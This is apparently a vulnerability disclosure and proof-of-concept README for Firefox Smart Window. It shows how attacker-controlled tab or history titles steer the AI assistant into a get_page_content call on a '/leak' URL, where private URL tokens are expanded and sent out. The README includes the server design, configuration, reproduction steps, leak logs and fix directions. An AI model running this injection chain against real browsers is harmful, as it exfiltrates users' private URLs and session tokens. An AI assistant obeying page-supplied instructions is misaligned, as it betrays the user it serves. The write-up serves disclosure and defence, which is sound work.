Firefox Smart Window Private URL Exfiltration PoC
This folder contains a local OpenAI-compatible endpoint and writeup for a Firefox Smart Window privacy boundary failure validated against Firefox 152.0.2 on Windows.
Smart Window's get_open_tabs and search_browsing_history tools return private browser state and URL tokens to the assistant conversation. The tool implementations mark the conversation as containing private data, but the tab and history paths do not also mark the conversation as containing untrusted input. An attacker-controlled page title or history title can therefore influence the assistant into calling get_page_content on an attacker URL that embeds Firefox URL tokens. Firefox expands those URL tokens inside the attacker-controlled URL before dispatching the tool call. get_page_content blocks external fetches only when both private-data and untrusted-input state are already present, so the private-only state permits a browser-originated HTTP request that carries expanded private tab or history URLs.
Tested Target
- Firefox
152.0.2x64 for Windows - Smart Window with a custom OpenAI-compatible endpoint
- Node.js
18+ - Local validation endpoint:
http://127.0.0.1:8765/v1
Impact
Estimated severity: high.
An attacker who can place a malicious title into the user's open tabs or browsing history can cause Smart Window to send private browser URLs to an attacker-controlled HTTP endpoint through a hidden get_page_content fetch. The leaked URL can include sensitive path and query-string data such as search terms, document identifiers, account paths, invitation links, reset links, or application-specific one-time values.
The confirmed variants are:
- open-tab URL exfiltration through
get_open_tabs; - recent-history URL exfiltration through
search_browsing_history; - multi-token URL exfiltration, bounded by the tool limits;
- private metadata transfer for tab/history titles and history metadata through the same allowed
get_page_contentcall.
Firefox limits the affected tool output to 15 open tabs and 15 history rows per tool call.
Root Cause
The issue is a mismatch between Smart Window's security-state tracking and its tool argument rewriting.
get_open_tabsandsearch_browsing_historyexpose private browser data to the assistant.- Both tools add returned URLs to the conversation URL-token map.
- Both tools set
privateData. - Neither tool sets
untrustedInputfor attacker-controlled webpage metadata such as titles. ChatUtils.expandUrlTokensInToolParams()performs token replacement inside arbitrary string tool parameters.Chat.sys.mjsexpands model-supplied tool-call arguments before dispatch.get_page_contentallows an arbitraryhttp:orhttps:fetch unless bothprivateDataanduntrustedInputare already set.
The resulting state is:
privateData = true
untrustedInput = false
get_page_content attacker URL = allowed
URL tokens inside attacker URL = expanded before fetch
Source Trace
Relevant Firefox 152.0.2 source locations:
| File | Location | Behavior |
|---|---|---|
browser/app/profile/firefox.js |
2252-2268 |
Smart Window API key, endpoint, model, first-run, and semantic-history prefs |
browser/components/aiwindow/models/Tools.sys.mjs |
66 |
MAX_TABS = 15 |
browser/components/aiwindow/models/Tools.sys.mjs |
94 |
MAX_HISTORY_RESULTS = 15 |
browser/components/aiwindow/models/Tools.sys.mjs |
379-425 |
get_open_tabs collects tabs, sets privateData, and adds URLs to the token map |
browser/components/aiwindow/models/Tools.sys.mjs |
437-476 |
search_browsing_history returns history rows, adds URLs to the token map, and sets privateData |
browser/components/aiwindow/models/Tools.sys.mjs |
783-948 |
get_page_content checks URL allowability and sets both flags only after content extraction |
browser/components/aiwindow/models/Tools.sys.mjs |
989 |
get_user_memories also sets privateData, indicating a sibling pattern worth reviewing |
browser/components/aiwindow/models/ChatUtils.sys.mjs |
310 |
expandUrlTokensInToolParams() expands URL tokens in tool parameters |
browser/components/aiwindow/models/ChatUtils.sys.mjs |
385 |
replaceUrlsWithTokens() replaces private URLs before model delivery |
browser/components/aiwindow/models/Chat.sys.mjs |
415 |
Serialized assistant tool-call arguments are rewritten through URL-token expansion |
browser/components/aiwindow/models/Chat.sys.mjs |
449 |
Tool parameters are rewritten through URL-token expansion before tool dispatch |
browser/components/aiwindow/models/SecurityProperties.sys.mjs |
24-32 |
Sticky privateData and untrustedInput state setters |
browser/components/aiwindow/models/tests/xpcshell/test_Tools_GetOpenTabs.js |
242-253 |
Existing test expectation: open tabs set private data while untrusted input remains false |
browser/components/aiwindow/models/tests/xpcshell/test_Tools_SearchBrowsingHistory.js |
298 |
Existing test expectation: browsing history has the same private-only state |
browser/components/aiwindow/models/tests/xpcshell/test_Tools_GetPageContent.js |
444 |
Existing coverage blocks get_page_content only after both flags are present |
Product Reachability
Smart Window is a documented Firefox desktop feature. Mozilla documents Smart Window as a beta Firefox window with an assistant that can use tabs and browsing history, model selection, and a custom endpoint path.
Product and source reachability details:
browser.smartwindow.enableddefaults tofalsein profile defaults.AIWindow.launchWindow()can setbrowser.smartwindow.enabled=truewhen Smart Window is launched and the feature is available.AboutWelcomeDefaults.sys.mjssetsbrowser.smartwindow.enabled=truefor thesmart_windowattribution campaign.- Smart Window preferences expose custom endpoint, API key, model, first-run state, and account/consent state.
- The settings tests accept
localhostas a valid custom endpoint.
Reference pages:
https://support.mozilla.org/en-US/kb/smart-windowhttps://support.mozilla.org/en-US/kb/smart-window-modelshttps://support.mozilla.org/en-US/kb/smart-window-byomhttps://support.mozilla.org/en-US/kb/smart-window-safety
PoC Design
poc/smartwindow_poc_server.js is a dependency-free Node.js HTTP server that acts as a local OpenAI-compatible chat-completions endpoint.
The server performs a deterministic tool-call sequence:
- If the user asks about history, request
search_browsing_history. - Otherwise request
get_open_tabs. - Extract Firefox URL tokens from the private tool result returned to the model endpoint.
- Call
get_page_contentonhttp://127.0.0.1:8765/leak. - Place up to
15URL tokens intou0,u1,u2, and following query parameters. - Place compact tab/history metadata into a
metaquery parameter. - Log whether Firefox expanded the URL tokens before requesting
/leak.
The server uses a per-process run ID, so old log files do not cause false success messages in a fresh run.
Run
Start the local endpoint:
npm run poc
The server prints:
Smart Window PoC endpoint: http://127.0.0.1:8765/v1
Open PoC tab: http://127.0.0.1:8765/evil
Logs: http://127.0.0.1:8765/logs
Reset current-run logs:
curl http://127.0.0.1:8765/reset
Configure Smart Window to use the local endpoint. The same values can be set through the Smart Window custom model UI or through about:config:
browser.smartwindow.enabled = true
browser.ai.control.smartWindow = enabled
browser.smartwindow.firstrun.hasCompleted = true
browser.smartwindow.firstrun.modelChoice = 0
browser.smartwindow.apiKey = poc
browser.smartwindow.model = smartwindow-poc
browser.smartwindow.endpoint = http://127.0.0.1:8765/v1
browser.smartwindow.preferences.endpoint = http://127.0.0.1:8765/v1
browser.smartwindow.tos.consentTime = 1770830464
Open-Tab Reproduction
Open this page in a normal Firefox tab:
http://127.0.0.1:8765/evil?secret=https%3A%2F%2Fbank.example%2Faccount%3Fsession%3Dsecret-token
Open a Smart Window and ask:
What tabs do I have open?
Open the logs:
http://127.0.0.1:8765/logs
Successful output contains a leak entry similar to:
{
"source": "tabs",
"expandedPrivateUrl": "http://127.0.0.1:8765/evil?secret=https://bank.example/account?session=secret-token",
"expandedPrivateUrls": {
"u0": "http://127.0.0.1:8765/evil?secret=https://bank.example/account?session=secret-token"
},
"leakedParameterNames": ["u0"],
"expanded": true,
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
}
Browsing-History Reproduction
Use a profile with normal browsing history, open a Smart Window, and ask:
Show my recent browsing history
Open:
http://127.0.0.1:8765/logs
Successful output contains:
{
"source": "history",
"expandedPrivateUrl": "https://www.google.com/search?client=firefox-b-1-d&q=Show+me+my+recent+browser+history",
"leakedParameterNames": ["u0"],
"privateMetadataSummary": {
"kind": "history",
"count": 15,
"fields": ["title", "url", "visitDate", "visitCount", "relevanceScore"]
},
"expanded": true
}
Confirmed Evidence
Installed Firefox 152.0.2 open-tab run:
{
"at": "2026-06-24T09:35:13.676Z",
"path": "/leak?u=http://127.0.0.1:8765/evil?secret=https%3A%2F%2Fbank.example%2Faccount%3Fsession%3Dsecret-token",
"expandedPrivateUrl": "http://127.0.0.1:8765/evil?secret=https://bank.example/account?session=secret-token",
"expanded": true,
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
}
Installed Firefox 152.0.2 history run:
{
"historyResultsReturned": 15,
"leakPath": "/leak?source=history&u=https://www.google.com/search?client=firefox-b-1-d&q=Show+me+my+recent+browser+history",
"expanded": true,
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
}
Security Boundary
The intended Smart Window boundary is that private browser state and untrusted webpage content should constrain later assistant actions. The vulnerable state transition leaves the conversation marked private-only after tab/history tools, so the later get_page_content network fetch is still available.
The security impact is the second-hop browser request: webpage-controlled metadata can drive a later browser tool call that sends private URL-token-expanded data to an attacker-controlled URL outside the configured model endpoint.
Fix Direction
- Mark tab titles, history titles, and similar webpage-derived metadata as untrusted.
- Set
untrustedInputinget_open_tabswhen returning webpage-controlled titles. - Set
untrustedInputinsearch_browsing_historywhen returning webpage-controlled titles and history metadata. - Block
get_page_contentwhenprivateDatais true unless the destination is an exact user-mentioned URL or a narrowly allowed browser-owned URL. - Require URL tokens to be the complete URL parameter value or complete tool parameter value before expansion.
- Disallow URL-token expansion as a substring inside attacker-selected URLs.
- Add regression tests for
get_open_tabs -> get_page_contentandsearch_browsing_history -> get_page_contentwith private-only state. - Add regression tests for multiple URL tokens in one tool argument string.
Validation Status
Local source review and installed-browser testing confirm the open-tab and browsing-history variants in Firefox 152.0.2. The included server reproduces the browser-side guard failure with a deterministic local endpoint and records whether Firefox expanded private URL tokens before issuing the /leak request.